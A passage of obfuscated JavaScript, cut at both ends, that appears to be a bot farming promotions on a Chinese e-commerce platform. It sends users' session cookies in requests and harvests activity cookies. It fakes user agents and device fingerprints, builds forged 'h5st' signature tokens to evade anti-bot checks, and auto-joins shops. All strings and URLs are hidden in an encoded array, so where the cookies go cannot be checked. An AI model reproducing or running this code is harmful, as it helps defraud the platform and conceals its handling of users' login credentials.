`${__Oxe8d96[0x74]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x53]:url= `${__Oxe8d96[0x7f]}`;_0x101ax15= `${__Oxe8d96[0x80]}${$[__Oxe8d96[0x81]]}${__Oxe8d96[0x7c]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x56]:url= `${__Oxe8d96[0x82]}`;_0x101ax15= `${__Oxe8d96[0x83]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x57]:url= `${__Oxe8d96[0x84]}`;_0x101ax15= `${__Oxe8d96[0x83]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x85]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x58]:url= `${__Oxe8d96[0x86]}`;let _0x101ax18=`${__Oxe8d96[0x27]}${$[__Oxe8d96[0x23]]}${__Oxe8d96[0x28]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x87]}`;_0x101ax15= `${__Oxe8d96[0x80]}${$[__Oxe8d96[0x81]]}${__Oxe8d96[0x88]}${$[__Oxe8d96[0x89]]}${__Oxe8d96[0x7c]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x85]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x8a]}${encodeURIComponent(_0x101ax18)}${__Oxe8d96[0x8b]}`;break;case __Oxe8d96[0x59]:url= `${__Oxe8d96[0x8c]}`;_0x101ax15= `${__Oxe8d96[0x80]}${$[__Oxe8d96[0x81]]}${__Oxe8d96[0x8d]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x8e]}${$[__Oxe8d96[0x89]]}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x69]:url= `${__Oxe8d96[0x8f]}`;_0x101ax15= `${__Oxe8d96[0x74]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x90]}${$[__Oxe8d96[0x81]]}${__Oxe8d96[0x8d]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x8e]}${$[__Oxe8d96[0x89]]}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x6c]:if($[__Oxe8d96[0x51]]== __Oxe8d96[0x52]){url= `${__Oxe8d96[0x91]}`}else {if($[__Oxe8d96[0x51]]== __Oxe8d96[0x7a]|| $[__Oxe8d96[0x51]]== __Oxe8d96[0x6d]|| $[__Oxe8d96[0x51]]== __Oxe8d96[0x6e]){url= __Oxe8d96[0x92]}else {url= __Oxe8d96[0x92]}};_0x101ax15= `${__Oxe8d96[0x74]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x7c]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x6f]:if($[__Oxe8d96[0x51]]== __Oxe8d96[0x6d]|| $[__Oxe8d96[0x51]]== __Oxe8d96[0x6e]){url= `${__Oxe8d96[0x93]}`;_0x101ax15= `${__Oxe8d96[0x80]}${$[__Oxe8d96[0x5c]]}${__Oxe8d96[0x8e]}${$[__Oxe8d96[0x89]]}${__Oxe8d96[0x85]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x7c]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x94]}`};break;default:console[__Oxe8d96[0xb]](`${__Oxe8d96[0x95]}${_0x101ax13}${__Oxe8d96[0x0]}`)};if(_0x101ax13== __Oxe8d96[0x40]){url= url}else {url= __Oxe8d96[0x70]+ url};let _0x101ax19=getPostRequest(url,_0x101ax15,_0x101ax16); await $[__Oxe8d96[0x63]](parseInt(Math[__Oxe8d96[0x24]]()* 500+ 500,10));return new Promise(async (_0x101ax1a)=>{$[__Oxe8d96[0x9b]](_0x101ax19,(_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{setActivityCookie(_0x101ax1c);if(_0x101ax1b){if(_0x101ax1c&& typeof _0x101ax1c[__Oxe8d96[0x96]]!= __Oxe8d96[0x97]){if(_0x101ax1c[__Oxe8d96[0x96]]== 493){console[__Oxe8d96[0xb]](__Oxe8d96[0x98]);$[__Oxe8d96[0x15]]= true}};console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${$[__Oxe8d96[0x99]](_0x101ax1b,_0x101ax1b)}${__Oxe8d96[0x0]}`);console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${_0x101ax13}${__Oxe8d96[0x9a]}`)}else {dealReturn(_0x101ax13,_0x101ax1d)}}catch(e){console[__Oxe8d96[0xb]](e,_0x101ax1c)}finally{_0x101ax1a()}})})}async function dealReturn(_0x101ax13,_0x101ax1d){let _0x101ax1f=__Oxe8d96[0x0];try{if(_0x101ax13!= __Oxe8d96[0x9c]|| _0x101ax13!= __Oxe8d96[0x9d]){if(_0x101ax1d){_0x101ax1f= JSON[__Oxe8d96[0x9e]](_0x101ax1d)}}}catch(e){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${_0x101ax13}${__Oxe8d96[0x9f]}`);$[__Oxe8d96[0xa0]]= false};try{switch(_0x101ax13){case __Oxe8d96[0x40]:if( typeof _0x101ax1f== __Oxe8d96[0xa1]){if(_0x101ax1f[__Oxe8d96[0xa2]]== 0){if( typeof _0x101ax1f[__Oxe8d96[0xa3]]!= __Oxe8d96[0x97]){$[__Oxe8d96[0x3e]]= _0x101ax1f[__Oxe8d96[0xa3]]}}else {if(_0x101ax1f[__Oxe8d96[0xa4]]){console[__Oxe8d96[0xb]](`${__Oxe8d96[0xa5]}${_0x101ax1f[__Oxe8d96[0xa4]]|| __Oxe8d96[0x0]}${__Oxe8d96[0x0]}`)}else {console[__Oxe8d96[0xb]](_0x101ax1d)}}}else {console[__Oxe8d96[0xb]](_0x101ax1d)};break;case __Oxe8d96[0x43]:if(_0x101ax1f[__Oxe8d96[0xa6]]== true&& _0x101ax1f[__Oxe8d96[0xa7]]){$[__Oxe8d96[0x22]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x22]];$[__Oxe8d96[0x89]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x89]];$[__Oxe8d96[0xa8]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xa8]];$[__Oxe8d96[0xa9]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xa9]];$[__Oxe8d96[0x81]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x81]]};break;case __Oxe8d96[0x44]:if(_0x101ax1f[__Oxe8d96[0xa6]]== true&& _0x101ax1f[__Oxe8d96[0xa7]]){$[__Oxe8d96[0x3f]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xaa]];$[__Oxe8d96[0xab]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xac]]};break;case __Oxe8d96[0x46]:if(_0x101ax1f[__Oxe8d96[0xa6]]== true&& _0x101ax1f[__Oxe8d96[0xa7]]){$[__Oxe8d96[0x4b]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x4b]];if($[__Oxe8d96[0x2d]]== 1){for(let _0x101ax20 of _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xad]]){if(_0x101ax20[__Oxe8d96[0x1d]]){$[__Oxe8d96[0x17]][__Oxe8d96[0x6]](_0x101ax20[__Oxe8d96[0x1d]])}}};$[__Oxe8d96[0x4d]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x4d]];$[__Oxe8d96[0x48]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x48]]};break;case __Oxe8d96[0x4e]:if(_0x101ax1f[__Oxe8d96[0xa6]]== true&& _0x101ax1f[__Oxe8d96[0xa7]]){$[__Oxe8d96[0x4f]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x4f]]};break;case __Oxe8d96[0x50]:break;case __Oxe8d96[0x53]:if(_0x101ax1f[__Oxe8d96[0xae]]== true&& _0x101ax1f[__Oxe8d96[0x20]]== __Oxe8d96[0x0]){$[__Oxe8d96[0x55]]= _0x101ax1f[__Oxe8d96[0x55]]};break;case __Oxe8d96[0x56]:break;case __Oxe8d96[0x57]:break;case __Oxe8d96[0x58]:console[__Oxe8d96[0xb]](`${__Oxe8d96[0xaf]}${_0x101ax1d}${__Oxe8d96[0x0]}`);break;case __Oxe8d96[0x59]:if(_0x101ax1f[__Oxe8d96[0xa6]]== true&& _0x101ax1f[__Oxe8d96[0xa7]]){$[__Oxe8d96[0x5a]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x5a]];$[__Oxe8d96[0xb0]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xb0]]};break;case __Oxe8d96[0x69]:console[__Oxe8d96[0xb]](`${__Oxe8d96[0xb1]}${_0x101ax1d}${__Oxe8d96[0x0]}`);break;case __Oxe8d96[0x6c]:if(_0x101ax1f[__Oxe8d96[0xa6]]== true&& _0x101ax1f[__Oxe8d96[0xa7]]){$[__Oxe8d96[0xb2]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0xb2]];$[__Oxe8d96[0x18]]= _0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x1d]]?_0x101ax1f[__Oxe8d96[0xa7]][__Oxe8d96[0x1d]]:__Oxe8d96[0xb3];if($[__Oxe8d96[0x18]][__Oxe8d96[0x5f]](__Oxe8d96[0xb3])> -1|| $[__Oxe8d96[0x18]][__Oxe8d96[0x5f]](__Oxe8d96[0xb4])> -1){}else {allMessage+= `${__Oxe8d96[0xb5]}${$[__Oxe8d96[0x2d]]}${__Oxe8d96[0x32]}${$[__Oxe8d96[0x2b]]}${__Oxe8d96[0xb6]}${$[__Oxe8d96[0x18]]}${__Oxe8d96[0x0]}`+ __Oxe8d96[0x3d]};console[__Oxe8d96[0xb]](`${__Oxe8d96[0xb7]}${$[__Oxe8d96[0x2b]]}${__Oxe8d96[0xb6]}${$[__Oxe8d96[0x18]]}${__Oxe8d96[0x0]}`)}else {$[__Oxe8d96[0x18]]= __Oxe8d96[0xb3];console[__Oxe8d96[0xb]](`${__Oxe8d96[0xb8]}`)};break;case __Oxe8d96[0x6f]:console[__Oxe8d96[0xb]](`${__Oxe8d96[0xb9]}${_0x101ax1d}${__Oxe8d96[0x0]}`);break;default:console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${_0x101ax13}${__Oxe8d96[0xba]}${_0x101ax1d}${__Oxe8d96[0x0]}`);break};if( typeof _0x101ax1f== __Oxe8d96[0xa1]){if(_0x101ax1f[__Oxe8d96[0xbb]]){if(_0x101ax1f[__Oxe8d96[0xbb]][__Oxe8d96[0x5f]](__Oxe8d96[0xbc])> -1){$[__Oxe8d96[0x14]]= true}}}}catch(e){console[__Oxe8d96[0xb]](e)}}function getPostRequest(_0x101ax22,_0x101ax15,_0x101ax16= __Oxe8d96[0x71]){let _0x101ax23={"\x41\x63\x63\x65\x70\x74":__Oxe8d96[0xbd],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe8d96[0xbe],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe8d96[0xbf],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe8d96[0xc0],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe8d96[0xc1],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe8d96[0xc2]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe8d96[0xc3]};if(_0x101ax22[__Oxe8d96[0x5f]](__Oxe8d96[0x70])> -1){_0x101ax23[__Oxe8d96[0xc4]]= `${__Oxe8d96[0x27]}${$[__Oxe8d96[0x23]]}${__Oxe8d96[0x28]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x87]}`;_0x101ax23[__Oxe8d96[0xc5]]= `${__Oxe8d96[0x0]}${activityCookie}${__Oxe8d96[0xc6]}${$[__Oxe8d96[0x3f]]}${__Oxe8d96[0x0]}`}else {_0x101ax23[__Oxe8d96[0xc5]]= cookie};return {url:_0x101ax22,method:_0x101ax16,headers:_0x101ax23,body:_0x101ax15,timeout:30000}}function getCk(){return new Promise((_0x101ax1a)=>{let _0x101ax25={url:`${__Oxe8d96[0x27]}${$[__Oxe8d96[0x23]]}${__Oxe8d96[0x28]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x87]}`,headers:{"\x41\x63\x63\x65\x70\x74":__Oxe8d96[0xc7],"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe8d96[0xc2]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe8d96[0xc8]},timeout:30000};$[__Oxe8d96[0xcb]](_0x101ax25,async (_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{if(_0x101ax1b){if(_0x101ax1c&& typeof _0x101ax1c[__Oxe8d96[0x96]]!= __Oxe8d96[0x97]){if(_0x101ax1c[__Oxe8d96[0x96]]== 493){console[__Oxe8d96[0xb]](__Oxe8d96[0x98]);$[__Oxe8d96[0x15]]= true}};console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${$[__Oxe8d96[0x99]](_0x101ax1b)}${__Oxe8d96[0x0]}`);console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${$[__Oxe8d96[0x1d]]}${__Oxe8d96[0xc9]}`)}else {let _0x101ax26=_0x101ax1d[__Oxe8d96[0x2c]](/(活动已经结束)/)&& _0x101ax1d[__Oxe8d96[0x2c]](/(活动已经结束)/)[0x1]|| __Oxe8d96[0x0];if(_0x101ax26){$[__Oxe8d96[0x16]]= true;console[__Oxe8d96[0xb]](__Oxe8d96[0xca])};$[__Oxe8d96[0x5c]]= _0x101ax1d[__Oxe8d96[0x2c]](//)[0x1]|| __Oxe8d96[0x0];if(_0x101ax1d[__Oxe8d96[0x5f]](__Oxe8d96[0x7a])> -1){$[__Oxe8d96[0x51]]= __Oxe8d96[0x7a]}else {if(_0x101ax1d[__Oxe8d96[0x5f]](__Oxe8d96[0x52])> -1){$[__Oxe8d96[0x51]]= __Oxe8d96[0x52]}else {if(_0x101ax1d[__Oxe8d96[0x5f]](__Oxe8d96[0x6d])> -1){$[__Oxe8d96[0x51]]= __Oxe8d96[0x6d]}else {if(_0x101ax1d[__Oxe8d96[0x5f]](__Oxe8d96[0x6e])> -1){$[__Oxe8d96[0x51]]= __Oxe8d96[0x6e]}}}};setActivityCookie(_0x101ax1c)}}catch(e){$[__Oxe8d96[0x1b]](e,_0x101ax1c)}finally{_0x101ax1a()}})})}function getActInfo(){return new Promise((_0x101ax1a)=>{let _0x101ax25={url:`${__Oxe8d96[0x0]}${$[__Oxe8d96[0xcc]]}${__Oxe8d96[0x0]}`,followRedirect:false,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe8d96[0xc2]],'\x52\x65\x66\x65\x72\x65\x72':$[__Oxe8d96[0x22]]},timeout:30000};$[__Oxe8d96[0xcb]](_0x101ax25,async (_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{if(_0x101ax1b){}else {}}catch(e){$[__Oxe8d96[0x1b]](e,_0x101ax1c)}finally{_0x101ax1a()}})})}function setActivityCookie(_0x101ax1c){if(_0x101ax1c[__Oxe8d96[0xce]][__Oxe8d96[0xcd]]){cookie= originCookie+ __Oxe8d96[0xcf];for(let _0x101ax29 of _0x101ax1c[__Oxe8d96[0xce]][__Oxe8d96[0xcd]]){lz_cookie[_0x101ax29[__Oxe8d96[0xd1]](__Oxe8d96[0xcf])[0x0][__Oxe8d96[0xd2]](0,_0x101ax29[__Oxe8d96[0xd1]](__Oxe8d96[0xcf])[0x0][__Oxe8d96[0x5f]](__Oxe8d96[0xd0]))]= _0x101ax29[__Oxe8d96[0xd1]](__Oxe8d96[0xcf])[0x0][__Oxe8d96[0xd2]](_0x101ax29[__Oxe8d96[0xd1]](__Oxe8d96[0xcf])[0x0][__Oxe8d96[0x5f]](__Oxe8d96[0xd0])+ 1)};for(const _0x101ax2a of Object[__Oxe8d96[0x8]](lz_cookie)){cookie+= (_0x101ax2a+ __Oxe8d96[0xd0]+ lz_cookie[_0x101ax2a]+ __Oxe8d96[0xcf])};activityCookie= cookie}}async function getUA(){$[__Oxe8d96[0xc2]]= `${__Oxe8d96[0xd3]}${randomString(40)}${__Oxe8d96[0xd4]}`}function randomString(_0x101axc){_0x101axc= _0x101axc|| 32;let _0x101ax2d=__Oxe8d96[0xd5],_0x101ax2e=_0x101ax2d[__Oxe8d96[0x2a]],_0x101ax2f=__Oxe8d96[0x0];for(i= 0;i< _0x101axc;i++){_0x101ax2f+= _0x101ax2d[__Oxe8d96[0xd7]](Math[__Oxe8d96[0xd6]](Math[__Oxe8d96[0x24]]()* _0x101ax2e))};return _0x101ax2f}function jsonParse(_0x101ax31){if( typeof _0x101ax31== __Oxe8d96[0xd8]){try{return JSON[__Oxe8d96[0x9e]](_0x101ax31)}catch(e){console[__Oxe8d96[0xb]](e);$[__Oxe8d96[0x20]]($[__Oxe8d96[0x1d]],__Oxe8d96[0x0],__Oxe8d96[0xd9]);return []}}}function checkCookie(){const _0x101ax33={url:__Oxe8d96[0xda],headers:{"\x48\x6F\x73\x74":__Oxe8d96[0xdb],"\x41\x63\x63\x65\x70\x74":__Oxe8d96[0xdc],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe8d96[0xc0],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe8d96[0xdd],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe8d96[0xbf],"\x52\x65\x66\x65\x72\x65\x72":__Oxe8d96[0xde],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe8d96[0xbe]}};return new Promise((_0x101ax1a)=>{$[__Oxe8d96[0xcb]](_0x101ax33,(_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{if(_0x101ax1b){$[__Oxe8d96[0x1b]](_0x101ax1b)}else {if(_0x101ax1d){_0x101ax1d= JSON[__Oxe8d96[0x9e]](_0x101ax1d);if(_0x101ax1d[__Oxe8d96[0xdf]]== __Oxe8d96[0xe0]){$[__Oxe8d96[0x30]]= false;return}else {$[__Oxe8d96[0x30]]= true;return};if(_0x101ax1d[__Oxe8d96[0xdf]]=== __Oxe8d96[0xe1]&& _0x101ax1d[__Oxe8d96[0xa7]][__Oxe8d96[0xe3]](__Oxe8d96[0xe2])){$[__Oxe8d96[0x2f]]= _0x101ax1d[__Oxe8d96[0xa7]][__Oxe8d96[0xe2]][__Oxe8d96[0xe5]][__Oxe8d96[0xe4]]}}else {$[__Oxe8d96[0xb]](__Oxe8d96[0xe6])}}}catch(e){$[__Oxe8d96[0x1b]](e)}finally{_0x101ax1a()}})})}function random(_0x101ax35,_0x101ax36){return Math[__Oxe8d96[0xd6]](Math[__Oxe8d96[0x24]]()* (_0x101ax36- _0x101ax35))+ _0x101ax35}function getToken(){return new Promise((_0x101ax1a)=>{$[__Oxe8d96[0xcb]]({url:`${__Oxe8d96[0xe7]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe8d96[0xe8]},timeout:30000},(_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{if(_0x101ax1b){console[__Oxe8d96[0xb]](`${__Oxe8d96[0xe9]}`)}else {_0x101ax1d= JSON[__Oxe8d96[0x9e]](_0x101ax1d);if(_0x101ax1d[__Oxe8d96[0xea]]== 0){_0x101ax1d= _0x101ax1d[__Oxe8d96[0xa7]]}else {_0x101ax1d= __Oxe8d96[0x0]}}}catch(e){$[__Oxe8d96[0x1b]](e,_0x101ax1c)}finally{_0x101ax1a(_0x101ax1d|| __Oxe8d96[0x0])}})})}async function joinShop(){if(!$[__Oxe8d96[0x5d]]){return};return new Promise(async (_0x101ax1a)=>{$[__Oxe8d96[0x60]]= __Oxe8d96[0x5e];let _0x101ax39=`${__Oxe8d96[0x0]}`; await getshopactivityId();if($[__Oxe8d96[0xeb]]){_0x101ax39= `${__Oxe8d96[0xec]}${$[__Oxe8d96[0xeb]]}${__Oxe8d96[0x0]}`};let _0x101ax15=`${__Oxe8d96[0xed]}${$[__Oxe8d96[0x5d]]}${__Oxe8d96[0xee]}${_0x101ax39}${__Oxe8d96[0xef]}`;let _0x101ax3a=__Oxe8d96[0x0];_0x101ax3a= await geth5st();const _0x101ax33={url:`${__Oxe8d96[0xf0]}${_0x101ax15}${__Oxe8d96[0xf1]}${_0x101ax3a}${__Oxe8d96[0x0]}`,headers:{'\x61\x63\x63\x65\x70\x74':__Oxe8d96[0xdc],'\x61\x63\x63\x65\x70\x74\x2D\x65\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe8d96[0xbe],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe8d96[0xf2],'\x63\x6F\x6F\x6B\x69\x65':cookie,'\x6F\x72\x69\x67\x69\x6E':__Oxe8d96[0xf3],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':$[__Oxe8d96[0xc2]]}}; await $[__Oxe8d96[0x63]](500);$[__Oxe8d96[0xcb]](_0x101ax33,async (_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{_0x101ax1d= _0x101ax1d&& _0x101ax1d[__Oxe8d96[0x2c]](/jsonp_.*?\((.*?)\);/)&& _0x101ax1d[__Oxe8d96[0x2c]](/jsonp_.*?\((.*?)\);/)[0x1]|| _0x101ax1d;let _0x101ax1f=$[__Oxe8d96[0xf4]](_0x101ax1d,_0x101ax1d);if(_0x101ax1f&& typeof _0x101ax1f== __Oxe8d96[0xa1]){if(_0x101ax1f&& _0x101ax1f[__Oxe8d96[0xf5]]=== true){console[__Oxe8d96[0xb]](_0x101ax1f[__Oxe8d96[0xa4]]);$[__Oxe8d96[0x60]]= _0x101ax1f[__Oxe8d96[0xa4]];if(_0x101ax1f[__Oxe8d96[0xa6]]&& _0x101ax1f[__Oxe8d96[0xa6]][__Oxe8d96[0xf6]]){for(let _0x101axd of _0x101ax1f[__Oxe8d96[0xa6]][__Oxe8d96[0xf6]][__Oxe8d96[0xf7]]){console[__Oxe8d96[0xb]](`${__Oxe8d96[0xf8]}${_0x101axd[__Oxe8d96[0xf9]]}${__Oxe8d96[0x0]}${_0x101axd[__Oxe8d96[0xfa]]}${__Oxe8d96[0x0]}${_0x101axd[__Oxe8d96[0xfb]]}${__Oxe8d96[0x0]}`)}}}else {if(_0x101ax1f&& typeof _0x101ax1f== __Oxe8d96[0xa1]&& _0x101ax1f[__Oxe8d96[0xa4]]){$[__Oxe8d96[0x60]]= _0x101ax1f[__Oxe8d96[0xa4]];console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${_0x101ax1f[__Oxe8d96[0xa4]]|| __Oxe8d96[0x0]}${__Oxe8d96[0x0]}`)}else {console[__Oxe8d96[0xb]](_0x101ax1d)}}}else {console[__Oxe8d96[0xb]](_0x101ax1d)}}catch(e){$[__Oxe8d96[0x1b]](e,_0x101ax1c)}finally{_0x101ax1a()}})})}async function getshopactivityId(){return new Promise(async (_0x101ax1a)=>{let _0x101ax15=`${__Oxe8d96[0xed]}${$[__Oxe8d96[0x5d]]}${__Oxe8d96[0xfc]}`;let _0x101ax3a=`${__Oxe8d96[0x0]}${ new Date(Date[__Oxe8d96[0xfe]]()).Format(__Oxe8d96[0xfd])}${__Oxe8d96[0xcf]}${generateFp()}${__Oxe8d96[0xff]}${Date[__Oxe8d96[0xfe]]()}${__Oxe8d96[0x0]}`;_0x101ax3a= encodeURIComponent(_0x101ax3a);const _0x101ax33={url:`${__Oxe8d96[0x100]}${_0x101ax15}${__Oxe8d96[0xf1]}${_0x101ax3a}${__Oxe8d96[0x0]}`,headers:{'\x61\x63\x63\x65\x70\x74':__Oxe8d96[0xdc],'\x61\x63\x63\x65\x70\x74\x2D\x65\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe8d96[0xbe],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe8d96[0xf2],'\x63\x6F\x6F\x6B\x69\x65':cookie,'\x6F\x72\x69\x67\x69\x6E':__Oxe8d96[0xf3],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':$[__Oxe8d96[0xc2]]}}; await $[__Oxe8d96[0x63]](500);$[__Oxe8d96[0xcb]](_0x101ax33,async (_0x101ax1b,_0x101ax1c,_0x101ax1d)=>{try{_0x101ax1d= _0x101ax1d&& _0x101ax1d[__Oxe8d96[0x2c]](/jsonp_.*?\((.*?)\);/)&& _0x101ax1d[__Oxe8d96[0x2c]](/jsonp_.*?\((.*?)\);/)[0x1]|| _0x101ax1d;let _0x101ax1f=$[__Oxe8d96[0xf4]](_0x101ax1d,_0x101ax1d);if(_0x101ax1f&& typeof _0x101ax1f== __Oxe8d96[0xa1]){if(_0x101ax1f&& _0x101ax1f[__Oxe8d96[0xf5]]== true){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x101]}${_0x101ax1f[__Oxe8d96[0xa6]][0x0][__Oxe8d96[0x103]][__Oxe8d96[0x102]]|| __Oxe8d96[0x0]}${__Oxe8d96[0x0]}`);$[__Oxe8d96[0xeb]]= _0x101ax1f[__Oxe8d96[0xa6]][0x0][__Oxe8d96[0x104]]&& _0x101ax1f[__Oxe8d96[0xa6]][0x0][__Oxe8d96[0x104]][0x0]&& _0x101ax1f[__Oxe8d96[0xa6]][0x0][__Oxe8d96[0x104]][0x0][__Oxe8d96[0x105]]&& _0x101ax1f[__Oxe8d96[0xa6]][0x0][__Oxe8d96[0x104]][0x0][__Oxe8d96[0x105]][__Oxe8d96[0x22]]|| __Oxe8d96[0x0]}}else {console[__Oxe8d96[0xb]](_0x101ax1d)}}catch(e){$[__Oxe8d96[0x1b]](e,_0x101ax1c)}finally{_0x101ax1a()}})})}function generateFp(){let _0x101axc=__Oxe8d96[0x106];let _0x101ax2e=13;let _0x101axd=__Oxe8d96[0x0];for(;_0x101ax2e--;){_0x101axd+= _0x101axc[Math[__Oxe8d96[0x24]]()* _0x101axc[__Oxe8d96[0x2a]]| 0]};return (_0x101axd+ Date[__Oxe8d96[0xfe]]())[__Oxe8d96[0x107]](0,16)}function geth5st(){let _0x101ax3e=Date[__Oxe8d96[0xfe]]();let _0x101ax3f=generateFp();let _0x101ax40= new Date(_0x101ax3e).Format(__Oxe8d96[0xfd]);let _0x101ax41=__Oxe8d96[0x0];let _0x101ax42=__Oxe8d96[0x0];let _0x101ax43=[__Oxe8d96[0x108],__Oxe8d96[0x109],__Oxe8d96[0x10a]];let _0x101ax44=_0x101ax43[random(0,_0x101ax43[__Oxe8d96[0x2a]])];return encodeURIComponent(_0x101ax40+ __Oxe8d96[0xcf]+ _0x101ax44+ _0x101ax3f+ __Oxe8d96[0x0]+ Date[__Oxe8d96[0xfe]]())}function getH5st(){let _0x101ax3e=Date[__Oxe8d96[0xfe]]();let _0x101ax3f=generateFp();let _0x101ax40= new Date(_0x101ax3e).Format(__Oxe8d96[0xfd]);return encodeURIComponent(_0x101ax40+ __Oxe8d96[0xcf]+ __Oxe8d96[0x0]+ _0x101ax3f+ __Oxe8d96[0x109]+ Date[__Oxe8d96[0xfe]]())}Date[__Oxe8d96[0x10c]][__Oxe8d96[0x10b]]= function(_0x101ax46){var _0x101axc,_0x101ax2f=this,_0x101ax47=_0x101ax46,_0x101ax48={"\x4D\x2B":_0x101ax2f[__Oxe8d96[0x10d]]()+ 1,"\x64\x2B":_0x101ax2f[__Oxe8d96[0x10e]](),"\x44\x2B":_0x101ax2f[__Oxe8d96[0x10e]](),"\x68\x2B":_0x101ax2f[__Oxe8d96[0x10f]](),"\x48\x2B":_0x101ax2f[__Oxe8d96[0x10f]](),"\x6D\x2B":_0x101ax2f[__Oxe8d96[0x110]](),"\x73\x2B":_0x101ax2f[__Oxe8d96[0x111]](),"\x77\x2B":_0x101ax2f[__Oxe8d96[0x112]](),"\x71\x2B":Math[__Oxe8d96[0xd6]]((_0x101ax2f[__Oxe8d96[0x10d]]()+ 3)/ 3),"\x53\x2B":_0x101ax2f[__Oxe8d96[0x113]]()};/(y+)/i[__Oxe8d96[0x114]](_0x101ax47)&& (_0x101ax47= _0x101ax47[__Oxe8d96[0x118]](RegExp.$1,__Oxe8d96[0x0][__Oxe8d96[0x117]](_0x101ax2f[__Oxe8d96[0x116]]())[__Oxe8d96[0xd2]](4- RegExp[__Oxe8d96[0x115]][__Oxe8d96[0x2a]])));for(var _0x101ax49 in _0x101ax48){if( new RegExp(__Oxe8d96[0x11a][__Oxe8d96[0x117]](_0x101ax49,__Oxe8d96[0x119]))[__Oxe8d96[0x114]](_0x101ax47)){var _0x101ax2d,_0x101ax2e=__Oxe8d96[0x11b]=== _0x101ax49?__Oxe8d96[0x11c]:__Oxe8d96[0x11d];_0x101ax47= _0x101ax47[__Oxe8d96[0x118]](RegExp.$1,1== RegExp[__Oxe8d96[0x115]][__Oxe8d96[0x2a]]?_0x101ax48[_0x101ax49]:(__Oxe8d96[0x0][__Oxe8d96[0x117]](_0x101ax2e)+ 